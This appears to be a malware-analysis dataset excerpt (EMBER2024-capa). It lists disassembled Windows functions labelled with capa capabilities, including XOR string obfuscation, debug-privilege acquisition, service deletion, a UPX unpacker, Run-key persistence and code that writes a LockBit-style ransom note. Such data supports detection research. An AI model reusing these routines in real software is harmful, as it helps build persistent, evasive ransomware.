joyce8/EMBER2024-capa huggingface dataset:
Function at 0x128aae0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x1a0
mov esi, dword [ebp + 0x10]
mov dword [esp + 0x18], 0xf740f98b
mov dword [esp + 0x1c], 0xf341f57b
mov dword [esp + 0x20], 0xcfcef142
mov dword [esp + 0x24], 0
mov edx, 0x56
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esp + edx - 0x3e]
mov ebx, eax
mov edi, eax
and ebx, edx
mov eax, ebx
or al, 0xfd
inc al
mov ecx, ebx
and cl, 0x7d
mul cl
mov ecx, eax
mov eax, edi
add cl, al
mov eax, ebx
shr al, 1
and al, 1
or bl, 2
mul bl
add al, al
sub cl, al
movzx eax, cl
add eax, edx
add al, 0x52
mov byte [esp + edx - 0x3e], al
inc edx
cmp edx, 0x66
jne 0x128ab20
mov dword [esp + 0x34], 0x179a1980
mov dword [esp + 0x38], 0x13821598
mov dword [esp + 0x3c], 0xf5d1156
mov dword [esp + 0x40], 0xb9e0d5f
mov dword [esp + 0x44], 0x799099b
mov dword [esp + 0x48], 0x3960565
mov dword [esp + 0x4c], 0x3fad0198
mov dword [esp + 0x50], 0x3bb63db3
mov dword [esp + 0x54], 0x3736397e
mov word [esp + 0x58], 0
xor eax, eax
nop
mov ecx, eax
add cl, 6
xor cl, byte [esp + eax + 0x34]
add cl, 0xe2
mov byte [esp + eax + 0x34], cl
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
cmp eax, 0x26
jb 0x128abb0
movzx ecx, word [esp + 0x34]
lea eax, [esp + 0x15c]
test cx, cx
je 0x128ac01
lea edx, [esp + 0x36]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x128abf0
mov word [eax], 0
movzx ecx, word [esi]
test cx, cx
je 0x128ac31
lea edx, [esi + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x128ac20
mov word [eax], 0
movzx ecx, word [esp + 0x18]
test cx, cx
je 0x128ac61
lea edx, [esp + 0x1a]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x128ac50
mov word [eax], 0
mov eax, dword [ebp + 0xc]
mov ebx, dword [eax]
mov dword [esp + 0x34], 0xb5b0b00a
mov byte [esp + 0x38], 0x18
mov dword [esp + 0x39], 0
mov word [esp + 0x3d], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
lea ecx, [eax + 0xfb]
mov edx, 4
sub edx, eax
and edx, 0x7e
and ecx, 0x81
or ecx, edx
xor cl, byte [esp + eax + 0x34]
xor cl, 0x7e
add cl, 0x19
mov byte [esp + eax + 0x34], cl
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
cmp eax, 0xb
jb 0x128ac90
movzx eax, byte [esp + 0x34]
test al, al
je 0x128aceb
lea ecx, [esp + 0x35]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x128ace0
mov byte [ebx], 0
lea eax, [esp + 0x140]
lea ecx, [esp + 0x150]
lea edx, [esp + 0x30]
lea edi, [esp + 0x15c]
push eax
push ecx
push edx
push edi
call fcn.0127c010
add esp, 0x10
movzx eax, al
mov eax, dword [eax*4 + 0x12b4c70]
mov ecx, 0xa1eb21e6
xor ecx, dword [0x12b4c78]
add eax, ecx
inc eax
jmp eax
Function at 0x1584a00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x18
cmp dword [ecx + 8], 0
je 0x1584a73
mov edx, dword [ecx]
test edx, edx
je 0x1584a73
mov edi, dword [ebp + 0xc]
mov dword [esp], 0x20272625
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, eax
add bl, 0xc9
xor bl, byte [esp + eax]
add bl, 0x13
mov byte [esp + eax], bl
inc eax
cmp eax, 4
jne 0x1584a30
mov eax, dword [esp]
mov ebx, dword [0x12bb064]
test ebx, ebx
je 0x1584ad3
xor edi, edi
mov esi, dword [0x12bb068]
nop
nop
nop
cmp dword [esi + edi*8], 0xaf0e0c2e
je 0x1584aaf
inc edi
cmp ebx, edi
jne 0x1584a60
mov edi, dword [ebp + 0xc]
jmp 0x1584ad3
mov dword [esp], 0xf3323148
mov eax, 0x4f21078c
nop
movzx ecx, byte [esp + eax - 0x4f21078c]
mov edx, ecx
and edx, eax
add dl, dl
sub cl, dl
movzx ecx, cl
add ecx, eax
add cl, 0x44
mov byte [esp + eax - 0x4f21078c], cl
inc eax
cmp eax, 0x4f210790
jne 0x1584a80
mov eax, dword [esp]
jmp 0x1584c1b
mov esi, dword [esi + edi*8 + 4]
cmp esi, eax
mov edi, dword [ebp + 0xc]
je 0x1584ad3
push dword [ebp + 8]
push edx
push 8
push esi
push dword [0x12bb06c]
mov esi, ecx
call fcn.01586f50
mov ecx, esi
add esp, 0x14
test edi, edi
je 0x1584b91
cmp eax, 0xc000010a
jne 0x1584b91
mov edx, 0xffffd8f0
mov eax, edi
mul edx
sub edx, edi
mov dword [esp], eax
mov dword [esp + 4], edx
mov ebx, dword [ecx]
mov dword [esp + 0xc], 0x20272625
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, eax
add dl, 0xc9
xor dl, byte [esp + eax + 0xc]
add dl, 0x13
mov byte [esp + eax + 0xc], dl
inc eax
cmp eax, 4
jne 0x1584b10
xor edx, edx
cmp edi, 0xffffffff
je 0x1584b2f
mov edx, esp
mov eax, dword [esp + 0xc]
mov esi, dword [0x12bb064]
test esi, esi
je 0x1584b91
mov dword [esp + 0x10], edx
mov dword [esp + 8], ebx
xor ebx, ebx
mov edx, dword [0x12bb068]
nop
nop
nop
cmp dword [edx + ebx*8], 0x4c697c35
je 0x1584b6a
mov edi, ebx
and edi, 1
xor ebx, 1
lea ebx, [ebx + edi*2]
cmp ebx, esi
jb 0x1584b50
jmp 0x1584b91
mov edx, dword [edx + ebx*8 + 4]
cmp edx, eax
je 0x1584b91
push dword [esp + 0x10]
push 0
push dword [esp + 0x10]
push 0xc
push edx
push dword [0x12bb06c]
mov esi, ecx
call fcn.01586f50
mov ecx, esi
add esp, 0x18
test eax, eax
js 0x1584c1b
mov edx, dword [ecx]
test edx, edx
je 0x1584c1b
mov dword [esp + 8], edx
mov dword [esp], 0x20272625
xor ebx, ebx
mov edx, ebx
add dl, 0xc9
xor dl, byte [esp + ebx]
add dl, 0x13
mov byte [esp + ebx], dl
inc ebx
cmp ebx, 4
jne 0x1584bb0
mov esi, dword [0x12bb064]
test esi, esi
je 0x1584c15
mov edx, dword [esp]
xor ebx, ebx
mov edi, dword [0x12bb068]
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + ebx*8], 0x1b6183f2
je 0x1584bf0
inc ebx
cmp esi, ebx
jne 0x1584be0
jmp 0x1584c15
mov esi, dword [edi + ebx*8 + 4]
cmp esi, edx
je 0x1584c15
push dword [esp + 8]
push 4
push esi
push dword [0x12bb06c]
mov esi, ecx
mov edi, eax
call fcn.01586f50
mov eax, edi
mov ecx, esi
add esp, 0x10
mov dword [ecx], 0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret 8
Function at 0x1588980
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x28
mov eax, dword [esp + 0x3c]
movzx eax, word [eax]
mov dword [esp + 8], eax
mov dword [esp], 0xb18e7543
mov word [esp + 4], 0
mov ebp, 0xa382385d
mov esi, 0x5c7dc7a2
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ebp + 0x5c7dc7a3]
mov ebx, edx
xor ebx, ebp
or ebx, esi
mov eax, ebx
shr al, 1
and al, 1
mov ecx, ebx
not cl
mov ah, cl
and ah, 0x7d
mul ah
add al, al
sub dl, al
test bl, 2
sete al
or cl, 2
mul cl
add al, al
sub dl, al
movzx eax, dl
add eax, ebp
add al, 0x2f
mov byte [esp + ebp + 0x5c7dc7a3], al
inc ebp
dec esi
cmp ebp, 0xa3823863
jne 0x15889b0
xor ecx, ecx
mov eax, dword [esp + 8]
cmp dword [esp], eax
setne cl
xor eax, eax
mov ebp, dword [esp + 0x3c]
jmp dword [ecx*4 + 0x12b8834]

Function at 0x1589740
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x28
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 0xc]
mov dword [esp], 0x40474645
mov word [esp + 4], 0
mov byte [esp + 6], 0
xor edx, edx
mov eax, edx
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + edx]
lea ebx, [edx + 0x6e667871]
xor ebx, ecx
mov ecx, ebx
and ecx, 1
xor ebx, 1
lea ecx, [ebx + ecx*2]
add cl, 0xca
mov byte [esp + edx], cl
mov ecx, edx
xor eax, 1
add eax, edx
and edx, 1
and ecx, 6
add eax, edx
sub eax, ecx
mov edx, eax
cmp eax, 7
jb 0x1589770
mov eax, dword [esp]
mov edx, dword [0x12bb064]
test edx, edx
je 0x15897f8
xor ebx, ebx
mov ecx, dword [0x12bb068]
nop
nop
nop
nop
nop
nop
cmp dword [ecx + ebx*8], 0x9c142cda
je 0x15897d0
inc ebx
cmp edx, ebx
jne 0x15897c0
jmp 0x15897f8
mov edx, dword [ecx + ebx*8 + 4]
cmp edx, eax
je 0x15897f8
mov eax, esp
lea ecx, [esp + 0x1c]
push 5
push 0x18
push eax
push ecx
push dword [ebp + 8]
push 0x14
push edx
push dword [0x12bb06c]
call fcn.01586f50
add esp, 0x20
test edi, edi
je 0x1589802
mov ecx, dword [esp + 8]
mov dword [edi], ecx
test esi, esi
je 0x158980e
cmp byte [esp + 0x15], 0
setne byte [esi]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x401020
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x1c
lea eax, [esp]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x40103f
add esp, 0x1c
ret
lea ecx, [esp + 4]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x401066
mov edx, dword [esp]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add esp, 0x1c
ret
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
push 0
push 0
lea edx, [esp + 0x14]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 8]
push 0x10
push edx
push 0
push eax
mov dword [esp + 0x24], 1
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x30], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x4010ad
mov ecx, dword [esp]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add esp, 0x1c
ret
Function at 0x401fb0
Capabilities:
Delete service
Stop service

Disassembly:
push 0xffffffffffffffff
push 0x403808
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push edi
mov edi, ecx
xor ebx, ebx
push 0xf003f
push ebx
push ebx
mov dword [esp + 0x20], ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
cmp eax, ebx
mov dword [edi + 0xf4], eax
jne 0x402002
cmp byte [esp + 0x20], bl
je 0x40218f
push ebx
push ebx
push 0x406308
call sub.MFC42.DLL_AfxMessageBox
jmp 0x40218f
push ebp
push esi
lea esi, [edi + 0xfc]
lea eax, [esp + 0x24]
push eax
mov ecx, esi
call sub.MFC42.DLL_CString::operator_1
push 0x406304
mov ecx, esi
call sub.MFC42.DLL_CString::Find
cmp eax, ebx
jl 0x402065
mov ecx, dword [esi]
lea edx, [esp + 0x10]
mov ecx, dword [ecx - 8]
sub ecx, eax
dec ecx
push ecx
push edx
mov ecx, esi
call sub.MFC42.DLL_CString::Right
push eax
mov ecx, esi
mov byte [esp + 0x20], 1
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x10]
mov byte [esp + 0x1c], bl
call fcn.004031de
push 0x406304
mov ecx, esi
call sub.MFC42.DLL_CString::Find
cmp eax, ebx
jge 0x402026
push 0x406300
mov ecx, esi
call sub.MFC42.DLL_CString::Find
push eax
lea eax, [esp + 0x14]
push eax
mov ecx, esi
call sub.MFC42.DLL_CString::Left
push eax
mov ecx, esi
mov byte [esp + 0x20], 2
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x10]
mov byte [esp + 0x1c], bl
call fcn.004031de
mov eax, dword [esi]
mov ecx, dword [edi + 0xf4]
mov ebp, dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push 0xf01ff
push eax
push ecx
call ebp
cmp eax, ebx
mov dword [edi + 0xf8], eax
je 0x40211e
lea edx, [edi + 0x100]
push edx
push 1
push eax
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov eax, dword [edi + 0xf4]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [edi + 0xf8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
cmp eax, ebx
mov dword [edi + 0xf4], eax
jne 0x402109
cmp byte [esp + 0x28], bl
je 0x402175
push ebx
push ebx
push 0x406308
jmp 0x402170
mov esi, dword [esi]
push 0xf01ff
push esi
push eax
call ebp
cmp eax, ebx
mov dword [edi + 0xf8], eax
jne 0x40212d
cmp byte [esp + 0x28], bl
je 0x402175
push ebx
push ebx
push 0x406240
jmp 0x402170
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
je 0x402147
cmp byte [esp + 0x28], bl
je 0x402175
push ebx
push ebx
push 0x406380
jmp 0x402170
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x430
mov al, byte [esp + 0x28]
jne 0x402165
cmp al, bl
je 0x402175
push ebx
push ebx
push 0x406354
jmp 0x402170
cmp al, bl
je 0x402175
push ebx
push ebx
push 0x40633c
call sub.MFC42.DLL_AfxMessageBox
mov edx, dword [edi + 0xf4]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edx
call esi
mov eax, dword [edi + 0xf8]
push eax
call esi
pop esi
pop ebp
lea ecx, [esp + 0x1c]
mov dword [esp + 0x14], 0xffffffff
call fcn.004031de
mov ecx, dword [esp + 0xc]
pop edi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret 8
Function at 0x1001be5
Capabilities:
Get token membership

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x26c
mov eax, dword [0x100704c]
push ebx
xor ebx, ebx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x26c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x264]
push eax
mov dword [ebp - 0x268], ebx
mov byte [ebp - 0x264], bl
mov byte [ebp - 0x263], bl
mov byte [ebp - 0x262], bl
mov byte [ebp - 0x261], bl
mov byte [ebp - 0x260], bl
mov byte [ebp - 0x25f], 5
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x1001c8e
lea eax, [ebp - 0x268]
push eax
push dword [ebp - 0x26c]
push ebx
call sub.ADVAPI32.dll_CheckTokenMembership
test eax, eax
jne 0x1001c80
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x25c]
push 0x1001200
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push dword [ebp - 0x26c]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
jmp 0x1001caa
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x25c]
push 0x1001200
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x268]
pop ebx
call fcn.01005656
leave
ret
Function at 0x1004a3b
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x100704c]
push esi
push edi
mov edi, dword [ebp + 8]
test edi, edi
mov dword [ebp - 4], eax
je 0x1004a9b
push edi
call dword [sym.imp.msvcrt.dll_wcslen]
mov esi, 0x104
cmp eax, esi
pop ecx
jae 0x1004a9b
push esi
lea eax, [ebp - 0x210]
push edi
push eax
call dword [sym.imp.msvcrt.dll_wcsncpy]
and word [ebp - 8], 0
add esp, 0xc
push esi
push edi
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
je 0x1004a9b
cmp eax, esi
ja 0x1004a9b
xor eax, eax
inc eax
jmp 0x1004a9d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
call fcn.01005656
leave
ret 4

Function at 0x1004b6c
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
cmp dword [esi], ebx
jne 0x1004b92
push esi
push 1
push ebx
push dword [ebp + 0xc]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x1004bca
push edi
push dword [ebp + 0x18]
mov edi, dword [ebp + 0x14]
push edi
lea eax, [ebp + 8]
push eax
push ebx
push dword [ebp + 0x10]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, ebx
jne 0x1004bc9
mov ecx, dword [ebp + 0x18]
mov ecx, dword [ecx]
cmp ecx, 1
jbe 0x1004bc1
shr ecx, 1
mov word [edi + ecx*2 - 2], bx
jmp 0x1004bc9
mov word [edi], bx
mov eax, 0x3f2
pop edi
pop esi
pop ebx
pop ebp
ret 0x14
Function at 0x10054cd
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x74
mov eax, dword [0x100704c]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
test esi, esi
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x70], eax
je 0x1005503
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push eax
mov dword [ebp - 0x74], eax
call fcn.01005198
test eax, eax
jne 0x1005507
xor eax, eax
jmp 0x100556c
push edi
push 0x33
lea eax, [ebp - 0x6c]
push esi
push eax
call dword [sym.imp.msvcrt.dll_wcsncpy]
mov edi, dword [sym.imp.msvcrt.dll_wcslen]
and word [ebp - 6], 0
lea eax, [ebp - 0x6c]
push eax
call edi
add esp, 0x10
cmp word [ebp + eax*2 - 0x6e], 0x5c
jne 0x100553e
lea eax, [ebp - 0x6c]
push eax
call edi
and word [ebp + eax*2 - 0x6e], 0
pop ecx
lea eax, [ebp - 0x6c]
push eax
call fcn.010051bc
mov edi, eax
cmp edi, 0xffffffff
jne 0x1005552
xor eax, eax
jmp 0x100556b
mov ecx, dword [ebp - 0x70]
push ebx
push esi
push dword [ebp - 0x74]
push edi
call fcn.010051fa
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
mov ecx, dword [ebp - 4]
pop esi
pop ebx
call fcn.01005656
leave
ret 0xc
Function at 0x100576e
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x28
push 0x1001b20
call fcn.010058f0
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp word [eax], 0x5a4d
jne 0x10057a9
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10057a9
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x10057c1
cmp eax, 0x20b
je 0x10057ae
mov dword [ebp - 0x1c], edi
jmp 0x10057d5
cmp dword [ecx + 0x84], 0xe
jbe 0x10057a9
xor eax, eax
cmp dword [ecx + 0xf8], edi
jmp 0x10057cf
cmp dword [ecx + 0x74], 0xe
jbe 0x10057a9
xor eax, eax
cmp dword [ecx + 0xe8], edi
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], edi
push 1
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
or dword [0x1007d7c], 0xffffffff
or dword [0x1007d80], 0xffffffff
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x1007d78]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x1007d74]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x1007d84], eax
call fcn.01005a94
cmp dword [0x1007050], edi
jne 0x1005830
push fcn.01005a94
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.01005a7d
push 0x1007010
push 0x100700c
call sub.msvcrt.dll__initterm
mov eax, dword [0x1007d70]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
push dword [0x1007d6c]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.msvcrt.dll___wgetmainargs]
mov dword [ebp - 0x34], eax
push 0x1007008
push section..data
call sub.msvcrt.dll__initterm
mov eax, dword [ebp - 0x20]
mov ecx, dword [sym.imp.msvcrt.dll___winitenv]
mov dword [ecx], eax
push dword [ebp - 0x20]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
call fcn.01004146
add esp, 0x30
mov esi, eax
mov dword [ebp - 0x38], esi
cmp dword [ebp - 0x1c], edi
jne 0x10058a7
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
jmp 0x10058dc
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.0100592b
ret
Function at 0x24b90b0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x20ad000]
push edi
or ebp, 0xffffffff
jmp 0x24b90d2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x24b90d9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x24b90c8
mov eax, 1
add ebx, ebx
jne 0x24b90eb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x24b90fc
jne 0x24b910c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x24b910c
dec eax
add ebx, ebx
jne 0x24b9108
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x24b90e0
xor ecx, ecx
sub eax, 3
jb 0x24b9124
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x24b9196
sar eax, 1
mov ebp, eax
jmp 0x24b912f
add ebx, ebx
jne 0x24b912f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x24b913c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x24b9160
inc ecx
add ebx, ebx
jne 0x24b914c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x24b9141
jne 0x24b915d
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x24b9141
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x24b9180
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x24b9171
jmp 0x24b90ce
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x24b9180
add edi, ecx
jmp 0x24b90ce
pop esi
mov edi, esi
mov ecx, 0xe5
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x24b919e
cmp byte [edi], 2
jne 0x24b919e
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x24b91a3
lea edi, [esi + 0x20b7000]
mov eax, dword [edi]
or eax, eax
je 0x24b9212
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x20b9964]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x20b99b4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x24b91d0
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x20b99b8]
or eax, eax
je 0x24b920c
mov dword [ebx], eax
add ebx, 4
jmp 0x24b91ed
call dword [esi + 0x20b99bc]
popal
jmp 0x4038fe
Function at 0x401460
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [ebp - 0xc], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [ebp - 0x10], 0x40d092
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x118]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0x14]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
test eax, eax
jne 0x401533
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0x14]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x118]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
lea eax, [ebp - 0x118]
mov dword [esp + 4], eax
mov dword [esp], str.Chiave_di_registro_aggiunta_per_persistenza:__s_n
call sym._printf
jmp 0x40153f
mov dword [esp], str.Errore_nellaggiunta_al_registro.
call sym._puts
nop
leave
ret

Function at 0x401570
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0xc], str.C:UsersPublicREADME_LOCKBIT.txt
mov dword [esp + 4], 0x40d143
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4015ff
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x38
mov dword [esp + 4], 1
mov dword [esp], str.Tutti_i_tuoi_file_sono_stati_crittografati__enninneno__n
call sym._fwrite
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x37
mov dword [esp + 4], 1
mov dword [esp], str.Paga_100_milioni_di_euro_in_lire_a_SG_per_recuperarli._n
call sym._fwrite
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fclose
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.Nota_di_riscatto_creata:__s_n
call sym._printf
jmp 0x40160b
mov dword [esp], str.Errore_nella_creazione_della_nota_di_riscatto.
call sym._puts
nop
leave
ret